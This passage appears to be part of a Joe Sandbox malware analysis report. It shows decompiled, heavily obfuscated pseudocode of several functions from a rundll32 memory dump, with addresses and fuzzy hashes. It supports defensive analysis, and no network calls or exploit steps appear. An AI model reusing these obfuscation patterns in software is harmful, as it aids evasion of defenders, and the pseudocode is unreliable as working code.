					__eflags = 0 ^ _t140[2];
					_pop( *_t34);
					return _v8;
				} else {
					_pop( *_t4);
					_pop( *_t6);
					return  *((intOrPtr*)( &(_t140[1]) - 0xfffffffc));
				}
				L9:
			}




















                                                                          0x00122a6f
                                                                          0x00122a72
                                                                          0x00122a75
                                                                          0x00122a76
                                                                          0x00122a79
                                                                          0x00122a7c
                                                                          0x00122a7f
                                                                          0x00122a82
                                                                          0x00122a83
                                                                          0x00122a86
                                                                          0x00122a89
                                                                          0x00122a8a
                                                                          0x00122a8d
                                                                          0x00122a97
                                                                          0x00122ac9
                                                                          0x00122ad4
                                                                          0x00122ad9
                                                                          0x00122ae5
                                                                          0x00122aea
                                                                          0x00122af9
                                                                          0x00122afb
                                                                          0x00122afe
                                                                          0x00122b01
                                                                          0x00122b0f
                                                                          0x00122b11
                                                                          0x00122b14
                                                                          0x00122b1e
                                                                          0x00122b23
                                                                          0x00122b25
                                                                          0x00122b28
                                                                          0x00122b29
                                                                          0x00122b30
                                                                          0x00122b33
                                                                          0x00122b3a
                                                                          0x00122b41
                                                                          0x00122b4f
                                                                          0x00122b53
                                                                          0x00122b5d
                                                                          0x00122b5d
                                                                          0x00122b5f
                                                                          0x00122b60
                                                                          0x00122b6a
                                                                          0x00122b6c
                                                                          0x00122b6d
                                                                          0x00122b6f
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x00122bb4
                                                                          0x00122bb6
                                                                          0x00122bf2
                                                                          0x00122bf5
                                                                          0x00000000
                                                                          0x00122bfb
                                                                          0x00122bfb
                                                                          0x00122c05
                                                                          0x00122c11
                                                                          0x00122c1d
                                                                          0x00122c35
                                                                          0x00122c35
                                                                          0x00122c3c
                                                                          0x00122c3c
                                                                          0x00122bb8
                                                                          0x00122bb8
                                                                          0x00122bc4
                                                                          0x00122be8
                                                                          0x00122be8
                                                                          0x00122bef
                                                                          0x00122bef
                                                                          0x00000000
                                                                          0x00122bb6
                                                                          0x00122b71
                                                                          0x00122b78
                                                                          0x00122b9c
                                                                          0x00122ba4
                                                                          0x00122baa
                                                                          0x00122bb1
                                                                          0x00122a99
                                                                          0x00122a9f
                                                                          0x00122aaf
                                                                          0x00122ac6
                                                                          0x00122ac6
                                                                          0x00000000

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
                                                                          • Instruction ID: 069a7e37d696742d3f805f679050c92595100bc9008ffbe384eb8131efa92163
                                                                          • Opcode Fuzzy Hash: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
                                                                          • Instruction Fuzzy Hash: 9451BE73D04514EFEB04DF69D98279EBBB1FF80320F1A85A9C895A7284CB746A10CB95
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 0012150C, Relevance: .1, Instructions: 104COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E0012150C(signed int __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t88;
				signed int _t95;
				void* _t97;
				signed int _t100;
				signed int _t101;
				void* _t106;
				signed int _t107;
				signed int _t112;
				signed int _t115;
				signed int _t116;
				signed int _t118;
				signed int _t124;
				signed int _t126;
				void* _t130;

				_t106 = __ebx;
				if(_t130 != _v12) {
					_t88 = __eax & 0x00000001;
					_t112 = _t112 & 0xffffffff;
				} else {
					_t88 = __eax ^ 0x1f4;
				}
				_a12 = _a12 - _t112;
				_a4 = _a4 & _t88;
				_a12 = 0xffffffff;
				_v12 = _v12 | _t107;
				_v12 = _v12 - 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_v8 = _v8 - 1;
				_t115 = _t112 + 1 - 1 + 1;
				_v8 = _v8 | _t107 - 0x00000001;
				_t90 = _t88 - 0x51d + 0xffffffff;
				_a4 = _a4 ^ _t115;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) & _t126;
				_v12 = _v12 - _t88 - 0x51d + 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t95 = E00124A23(((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t106,  *((intOrPtr*)(_t106 + 0x41ce29)), ((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t126);
				_a4 = 0x458;
				 *(_t106 + 0x41d23c) = _t95;
				_a8 = _a8 ^ _t95;
				_t124 = _t115;
				 *(_t106 + 0x41d23c) = 0;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ 0x00000001;
				 *(_t106 + 0x41d23c) = 0x13a;
				_a8 = _a8 - 0x31f;
				 *(_t106 + 0x41d23c) = _t126;
				_a8 = _a8 + 1;
				_t116 = _t115 - 1;
				_t97 = E00124A23(_t95 - 0x730, _t106, _t116,  *((intOrPtr*)(_t106 + 0x41c914)),  *((intOrPtr*)(_t106 + 0x41cea6)));
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + _t97;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ _t116;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t100 = (_t97 + 0x00000001 ^ 0x00000000) + 0xffffffff;
				_v12 = _v12 & _t100;
				_t101 = _t100 ^ 0x00000000;
				_v12 = _t101;
				_v12 = _v12 + _t124;
				_v8 = _v8 - 1;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + 1;
				_t118 = _t116 - _a8 - 0xffffffff;
				 *(_t106 + 0x41d23c) = _t118;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - (_t124 & 0x00000330);
				_v12 = _v12 & _t118;
				_a12 = _a12 | _t118;
				return (_t101 ^ 0x00000000) - 0x00000001 ^ 0x00000000;
			}



















                                                                          0x0012150c
                                                                          0x0012151a
                                                                          0x00121528
                                                                          0x0012152d
                                                                          0x0012151c
                                                                          0x00121521
                                                                          0x00121521
                                                                          0x00121530
                                                                          0x00121533
                                                                          0x00121543
                                                                          0x0012154b
                                                                          0x00121552
                                                                          0x00121559
                                                                          0x00121562
                                                                          0x00121565
                                                                          0x0012156d
                                                                          0x00121570
                                                                          0x00121575
                                                                          0x00121578
                                                                          0x0012157e
                                                                          0x00121581
                                                                          0x001215aa
                                                                          0x001215af
                                                                          0x001215b6
                                                                          0x001215bc
                                                                          0x001215c1
                                                                          0x001215c3
                                                                          0x001215c9
                                                                          0x001215d3
                                                                          0x001215dd
                                                                          0x001215e9
                                                                          0x001215f6
                                                                          0x001215f9
                                                                          0x0012160c
                                                                          0x00121611
                                                                          0x0012161c
                                                                          0x00121627
                                                                          0x0012162d
                                                                          0x00121639
                                                                          0x0012163c
                                                                          0x00121644
                                                                          0x00121647
                                                                          0x00121652
                                                                          0x00121655
                                                                          0x0012165c
                                                                          0x00121668
                                                                          0x0012166e
                                                                          0x0012167f
                                                                          0x00121682
                                                                          0x00121690

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
                                                                          • Instruction ID: 8a43e327334855822403a71aa688261d44f5215d198f96ea3789603584005129
                                                                          • Opcode Fuzzy Hash: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
                                                                          • Instruction Fuzzy Hash: 9D411A72C11604ABEB04CF76CA857DA7BB1EF44330F24C3A9AC399A1D5C3788661AF55
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00121967, Relevance: .1, Instructions: 101COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E00121967(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t98;
				void* _t111;
				signed int _t116;
				void* _t117;
				signed int _t118;
				signed int _t119;
				void* _t121;
				signed int _t126;
				signed int _t128;
				signed int _t129;
				signed int _t130;

				_t117 = __ebx;
				_t98 = __eax;
				if(__ebx >= _a4) {
					_a4 = _a4 & _t128;
					_a4 = _a4 + 0xffffffff;
				} else {
					_t128 = (_t128 + 0xffffffff & 0x000006b0) + 1;
				}
				 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ 0x000003e3;
				_t129 = _t128 & 0x00000000;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) ^ _t98;
				if( *(_t117 + 0x41c345) < 0x34d9) {
					_a4 = _a4 & 0xffffffff;
					_t98 = _t98 + 1;
				} else {
					 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ _t129;
					 *(_t117 + 0x41c345) = 0x295;
					_v8 = _v8 + 1;
				}
				_t119 = _t118 &  *(_t117 + 0x41c345);
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t129;
				_a4 = _a4 + _t129;
				_v8 = 0xffffffff;
				_t130 = _t129 + _v8;
				_a4 = _a4 | 0xfffff88b;
				_v8 = _v8 - 1;
				_v8 = _v8 + 1;
				_v8 = _v8 + 1;
				_v8 = _v8 | _t130;
				 *(_t117 + 0x41c598) = _t121 - _t119;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) & 0xffffffff;
				_v8 = _t119;
				_a4 = _a4 ^ 0x0000033f;
				_a4 = _a4 ^ _t119;
				_a4 = _a4 & _t126;
				_a4 = 0xfffffbb6;
				_v8 = _v8 | _t119;
				_v8 = _v8 - 1;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t126;
				_a4 = _a4 + 0xffffffff;
				_a4 = _a4 - 1;
				_a4 = _a4 - 1;
				_a4 = _a4 ^ 0x00000001;
				_a4 = _a4 & _t130;
				_t111 = E00121693((((_t98 - 0x00000001 + 0xffffffff - 0x0000031a ^ 0x2b0) + 0x00000409 ^ 0 | 0xffffffff) + 0xfffff86b ^ 0x00000000) + 1, _t117,  *((intOrPtr*)(_t117 + 0x41c6d0)),  *((intOrPtr*)(_t117 + 0x41c3f5)));
				 *(_t117 + 0x41c598) = 0x6a4;
				_t116 = (_t111 - 0x00000001 + 0x0000030f ^ 0xfffffffffffffffe) & 0x00000001;
				_a4 = _t116;
				_a4 = _a4 - 1;
				_v8 = _v8 - 0xffffffff;
				return _t116;
			}















                                                                          0x00121967
                                                                          0x00121967
                                                                          0x00121975
                                                                          0x00121985
                                                                          0x00121988
                                                                          0x00121977
                                                                          0x00121980
                                                                          0x00121980
                                                                          0x0012198c
                                                                          0x00121996
                                                                          0x00121999
                                                                          0x001219a9
                                                                          0x001219c0
                                                                          0x001219c4
                                                                          0x001219ab
                                                                          0x001219ab
                                                                          0x001219b1
                                                                          0x001219bb
                                                                          0x001219bb
                                                                          0x001219c5
                                                                          0x001219cb
                                                                          0x001219d1
                                                                          0x001219d9
                                                                          0x001219e0
                                                                          0x001219f4
                                                                          0x001219fb
                                                                          0x001219fe
                                                                          0x00121a03
                                                                          0x00121a07
                                                                          0x00121a0a
                                                                          0x00121a16
                                                                          0x00121a1d
                                                                          0x00121a25
                                                                          0x00121a3c
                                                                          0x00121a4e
                                                                          0x00121a54
                                                                          0x00121a60
                                                                          0x00121a6d
                                                                          0x00121a70
                                                                          0x00121a76
                                                                          0x00121a7a
                                                                          0x00121a84
                                                                          0x00121a87
                                                                          0x00121a8b
                                                                          0x00121a9a
                                                                          0x00121abc
                                                                          0x00121af5
                                                                          0x00121afa
                                                                          0x00121b02
                                                                          0x00121b05
                                                                          0x00121b1b

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
                                                                          • Instruction ID: 22212bc76d69a7e47b84ae98332d3bf2fcfbe7cf41eab46e6e98f35d04568a00
                                                                          • Opcode Fuzzy Hash: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
                                                                          • Instruction Fuzzy Hash: 9C414E72C50618EBEB04CF68C9CA7CA3A71EF04374F288399AC789D1D6D3395661DA94
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001288BA, Relevance: .1, Instructions: 95COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E001288BA(void* __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				void* _t56;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				void* _t77;
				void* _t83;
				signed int _t84;
				void* _t89;
				void* _t96;
				signed int _t100;
				void* _t102;

				_t77 = __ebx;
				_t56 = __eax;
				if(_a4 > 0x9b86) {
					_t83 = _t83 - 1;
					_t89 = _t89 + 0xffffffff;
				}
				_t57 = _t56 + 0xffffffff;
				_t78 = 0xffffffff;
				if(_t83 > _a8) {
					 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) & 0xffffffff;
				} else {
					_t78 = 0;
					_t57 = _t57 ^ 0x00000000;
				}
				_t58 = _t57 & 0x00000001;
				_a12 = 1;
				_t84 = _t83 + 1;
				 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) | _t58;
				_t59 = _t58 ^ _t96 + 0xfffffa6c;
				if(_t102 < _t89) {
					 *(_t77 + 0x41c619) = 1;
					_t78 = _v12;
				} else {
					_a8 = _a8 + _t78;
					_t59 = _t59 ^ 0xffffffff;
				}
				_v12 = _v12 + 1;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 + 0xffffffff;
				_a12 = _a12 + 0xffffff46;
				_v8 = _v8 - 1;
				_v8 = _v8 + 0xfffffad4;
				_a4 = _a4 | _t84;
				_a12 = _a12 + 1;
				_t100 = _a12;
				_v8 = _v8 ^ _t100;
				_v12 = 0xfffffcfa;
				_v12 = _v12 ^ 0xffffffff;
				_a4 = _t100;
				_v8 = _v8 - 0xfffffe99;
				_v12 = _v12 & _t78;
				_a8 = _a8 + 1;
				_a8 = _a8 | 0x00000001;
				return 1;
			}
















                                                                          0x001288ba
                                                                          0x001288ba
                                                                          0x001288cc
                                                                          0x001288ce
                                                                          0x001288cf
                                                                          0x001288cf
                                                                          0x001288de
                                                                          0x001288e3
                                                                          0x001288eb
                                                                          0x001288f5
                                                                          0x001288ed
                                                                          0x001288ed
                                                                          0x001288ee
                                                                          0x001288ee
                                                                          0x001288fb
                                                                          0x00128904
                                                                          0x0012890b
                                                                          0x0012890c
                                                                          0x00128912
                                                                          0x00128916
                                                                          0x00128923
                                                                          0x0012892d
                                                                          0x00128918
                                                                          0x00128918
                                                                          0x0012891b
                                                                          0x0012891b
                                                                          0x00128930
                                                                          0x00128933
                                                                          0x00128941
                                                                          0x00128948
                                                                          0x00128954
                                                                          0x0012895c
                                                                          0x00128968
                                                                          0x00128978
                                                                          0x0012897b
                                                                          0x00128984
                                                                          0x0012898f
                                                                          0x0012899a
                                                                          0x001289aa
                                                                          0x001289c0
                                                                          0x001289c5
                                                                          0x001289d0
                                                                          0x001289da
                                                                          0x001289f3

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
                                                                          • Instruction ID: 78da5261bd2b6040de047a0659b265f2ea6d9e4f77d3c35e6bf4215a5746d882
                                                                          • Opcode Fuzzy Hash: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
                                                                          • Instruction Fuzzy Hash: CC316B72920A049BEB08CE78CD853DE7761FF80339F25C35AEC359A1D1D7788A518B48
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001227D4, Relevance: .1, Instructions: 93COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E001227D4(signed int __eax, void* __ebx, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _t62;
				signed int _t64;
				signed int _t65;
				signed int _t76;
				void* _t78;
				signed int _t79;
				void* _t84;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;

				_t78 = __ebx;
				_t60 = __eax;
				if(_v8 >= 0x74b6) {
					_t60 = (__eax ^ _a4) + 1;
				} else {
					_t79 = _t79 + _t90;
				}
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t79;
				_t62 = E001292B2(_t60, _t78,  *((intOrPtr*)(_t78 + 0x41c5d8)),  *((intOrPtr*)(_t78 + 0x41d186)));
				_v8 = _v8 + 1;
				_t64 = _t62 + 1 - 0xffffffff;
				if(_a4 < 0xae5c) {
					_t95 =  *(_t78 + 0x41c908);
				} else {
					_t90 = _t90 ^ 0x00000000;
					_t64 = _t64 & 0x00000000;
				}
				_v8 = _v8 & 0xffffffff;
				_t91 = _t90 - 1;
				_t65 = _t64 + 0xfffffea2;
				_a4 = _a4 ^ _t91;
				_a8 = 1;
				if(_t79 <= _v8) {
					_t65 = _t65 - 1;
					_v8 = _v8 ^ 0x0000029c;
					_t79 = _t79 | _a8;
				} else {
					_v8 = _v8 - 1;
					_t95 = _t95 & _a4;
					_a4 = _a4 + 1;
				}
				_t92 = _t91 & 0xfffff9dc;
				_a4 = _a4 + _t92;
				_a4 = _a4 - 1;
				_v8 = _v8 & 0x00000000;
				_a8 = _a8 - 1;
				_a8 = _a8 & 0x00000001;
				_t76 = ((((_t65 ^ 0xfffff825) + 0x00000001 & 0) - 0x00000001 & 0xfffffaf6 ^ 0x00000000) & 0) + 0x566;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) | _t84 -  *(_t78 + 0x41c908) + 0xffffffff;
				_v8 = _v8 ^ 0x00000001;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - 1;
				_a8 = _a8 - 1;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) & (_t95 - 0x00000001 ^ 0x00000000 ^ _t92 ^ 0x00000005 ^ _t76);
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t92 + 1 - 0x7fa;
				return _t76 & 0x000005b0;
			}















                                                                          0x001227d4
                                                                          0x001227d4
                                                                          0x001227e6
                                                                          0x001227f3
                                                                          0x001227e8
                                                                          0x001227e8
                                                                          0x001227e8
                                                                          0x001227f8
                                                                          0x0012280a
                                                                          0x00122814
                                                                          0x00122818
                                                                          0x00122824
                                                                          0x00122839
                                                                          0x00122826
                                                                          0x00122826
                                                                          0x00122829
                                                                          0x00122829
                                                                          0x0012283f
                                                                          0x00122843
                                                                          0x00122844
                                                                          0x00122849
                                                                          0x0012284c
                                                                          0x00122856
                                                                          0x00122863
                                                                          0x00122868
                                                                          0x0012286f
                                                                          0x00122858
                                                                          0x00122858
                                                                          0x0012285b
                                                                          0x0012285e
                                                                          0x0012285e
                                                                          0x0012287d
                                                                          0x001228a0
                                                                          0x001228a3
                                                                          0x001228a6
                                                                          0x001228ad
                                                                          0x001228bf
                                                                          0x001228e3
                                                                          0x001228ed
                                                                          0x001228fd
                                                                          0x0012290a
                                                                          0x00122911
                                                                          0x00122917
                                                                          0x0012291d
                                                                          0x00122929

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
                                                                          • Instruction ID: 0b6093e2924b695eb50e885625d14f4f1f43b466d15a54e2117a86c944e25de6
                                                                          • Opcode Fuzzy Hash: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
                                                                          • Instruction Fuzzy Hash: 8E317073920608AFEB048F34DD8639E3B64EF50335F29C265EC298E0D5D37996A09A54
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001213C5, Relevance: .1, Instructions: 90COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E001213C5(signed int __eax, void* __ebx, intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t69;
				void* _t71;
				signed int _t89;
				void* _t93;
				signed int _t94;
				intOrPtr _t98;
				signed int _t103;
				signed int _t108;
				signed int _t109;
				signed int _t111;

				_t93 = __ebx;
				_t69 = __eax;
				if(__eax == 0xa709) {
					_t94 = _t94 | 0xffffffff;
				} else {
					 *(__ebx + 0x41ca6d) =  *(__ebx + 0x41ca6d) & _t108;
				}
				_t109 = _t108 +  *((intOrPtr*)(_t93 + 0x41c507));
				_a8 = _a8 - _t109;
				_v12 = _v12 & _t109;
				_v12 = _v12 - 1;
				_t71 = E00129159(_t69 & 0x00000001, _t93,  *((intOrPtr*)(_t93 + 0x41d0c3)));
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0x417;
				 *((intOrPtr*)(_t93 + 0x41c507)) = _t98;
				_a8 = _a8 ^ _t103;
				 *((intOrPtr*)(_t93 + 0x41c507)) =  *((intOrPtr*)(_t93 + 0x41c507)) - 0x2a9;
				_t111 = _v8;
				_v8 = ((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0;
				_a12 = _a12 ^ 0xffffffff;
				_a4 = _a4 + 0xffffffff;
				_v12 = _v12 | _t111;
				 *((intOrPtr*)(_t93 + 0x41ca6d)) =  *((intOrPtr*)(_t93 + 0x41ca6d)) + _t111;
				_v12 = _v12 | _t111;
				_t89 = E0012292C((((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0) - 1, _t93,  *((intOrPtr*)(_t93 + 0x41cf4b)),  *((intOrPtr*)(_t93 + 0x41ce86)), _t103 - 1 + 1);
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0xffffffff;
				_v8 = _v8 - 0xffffffff;
				_v8 = _v8 - 1;
				_a8 = _a8 - 1;
				return (_t89 ^ 0xfffffffffffffe25) - 1;
			}















                                                                          0x001213c5
                                                                          0x001213c5
                                                                          0x001213d5
                                                                          0x001213df
                                                                          0x001213d7
                                                                          0x001213d7
                                                                          0x001213d7
                                                                          0x001213e5
                                                                          0x001213f0
                                                                          0x001213f3
                                                                          0x001213f9
                                                                          0x00121404
                                                                          0x0012140f
                                                                          0x0012141b
                                                                          0x0012142a
                                                                          0x00121452
                                                                          0x0012147b
                                                                          0x0012147e
                                                                          0x0012148d
                                                                          0x00121491
                                                                          0x00121495
                                                                          0x001214af
                                                                          0x001214b9
                                                                          0x001214ce
                                                                          0x001214d3
                                                                          0x001214ec
                                                                          0x001214f8
                                                                          0x001214fd
                                                                          0x00121509

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
                                                                          • Instruction ID: 58f76c5c1984e6596e61a085e22e73f0a64a07ca1622a82c901b7a1deff332eb
                                                                          • Opcode Fuzzy Hash: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
                                                                          • Instruction Fuzzy Hash: 7E31A972C10629ABEB04CE39CC8979A7B71FF40770F14C36AAC28D94D9C7749660DAA4
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00122566, Relevance: .1, Instructions: 84COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E00122566(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t55;
				signed int _t60;
				signed int _t73;
				void* _t80;
				signed int _t81;
				void* _t93;

				_t80 = __ebx;
				_t55 = __eax;
				if(__ebx >= _t93) {
					_a4 = _a4 - 1;
				}
				_a4 = _a4 & 0x00000001;
				_v12 = _v12 - 1;
				_a4 = _a4 - 1;
				_t60 = ((_t55 ^ 0xffffffff) & 0) + 1;
				_v8 = _v8 + 0x40b;
				_v8 = _v8 ^ _t60;
				 *(_t80 + 0x41c9d8) =  *(_t80 + 0x41c9d8) ^ 0xffffffff;
				_v12 = _v12 & 0x00000000;
				 *(_t80 + 0x41c003) = 1;
				_a4 = _a4 ^ ((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574;
				_t73 = E00127338((((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574 & 0x00000001) - 0xfffffffffffffeed, _t80,  *((intOrPtr*)(_t80 + 0x41cdce)));
				_a4 = _a4 | _t73;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) ^ (_t81 | _a4) & _v12 ^ 0x00000000;
				_v8 = _v8 | 0xffffffe9;
				_v8 = 0xffffffff;
				 *(_t80 + 0x41c9d8) = _t73;
				 *(_t80 + 0x41c9d8) = 0xfffff81c;
				 *(_t80 + 0x41c9d8) = 0;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) & 0x00000440;
				_v12 = 0;
				_v12 = 0x3d2;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) - _t81 + 0xffffffff;
				_v12 = _v12 + 1;
				return 2;
			}











                                                                          0x00122566
                                                                          0x00122566
                                                                          0x00122573
                                                                          0x00122575
                                                                          0x00122578
                                                                          0x00122583
                                                                          0x00122587
                                                                          0x0012258d
                                                                          0x001225a2
                                                                          0x001225b5
                                                                          0x001225bc
                                                                          0x001225bf
                                                                          0x001225c6
                                                                          0x001225e2
                                                                          0x00122600
                                                                          0x00122623
                                                                          0x00122628
                                                                          0x0012262b
                                                                          0x00122637
                                                                          0x0012263b
                                                                          0x00122642
                                                                          0x00122648
                                                                          0x0012265e
                                                                          0x00122669
                                                                          0x00122675
                                                                          0x00122678
                                                                          0x00122680
                                                                          0x00122692
                                                                          0x001226a8

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
                                                                          • Instruction ID: 2f10f7cc3c875303c24a62234c06b8a5abdec75065730e40a1ce8d77bd254676
                                                                          • Opcode Fuzzy Hash: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
                                                                          • Instruction Fuzzy Hash: 973182B3C10605ABEB008E78CD863CA7A70EF50374F298365AC38DE1D5D37986A19A94
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001292B2, Relevance: .1, Instructions: 78COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 100%
                                                                          			E001292B2(signed int __eax, void* __ebx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t68;
				void* _t85;
				void* _t86;
				signed int _t91;
				void* _t92;
				signed int _t97;
				signed int _t98;
				void* _t101;

				_t85 = __ebx;
				_t101 = __eax - 0x2bdf;
				_t68 = E00121967(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41d155)));
				if(_t101 < 0) {
					_a8 = _a8 - 1;
				} else {
					_t91 = _t91 & 0x00000000;
					 *(__ebx + 0x41cd75) =  *(__ebx + 0x41cd75) ^ 0xfffffe87;
				}
				_t98 = _t97 ^ 0x000000ac;
				 *(_t85 + 0x41cd75) = _t98;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ 0x00000001;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) ^ _t68;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t68 + 0xfffffe42;
				_a4 = _a4 & 0x000007d7;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t98 - 1;
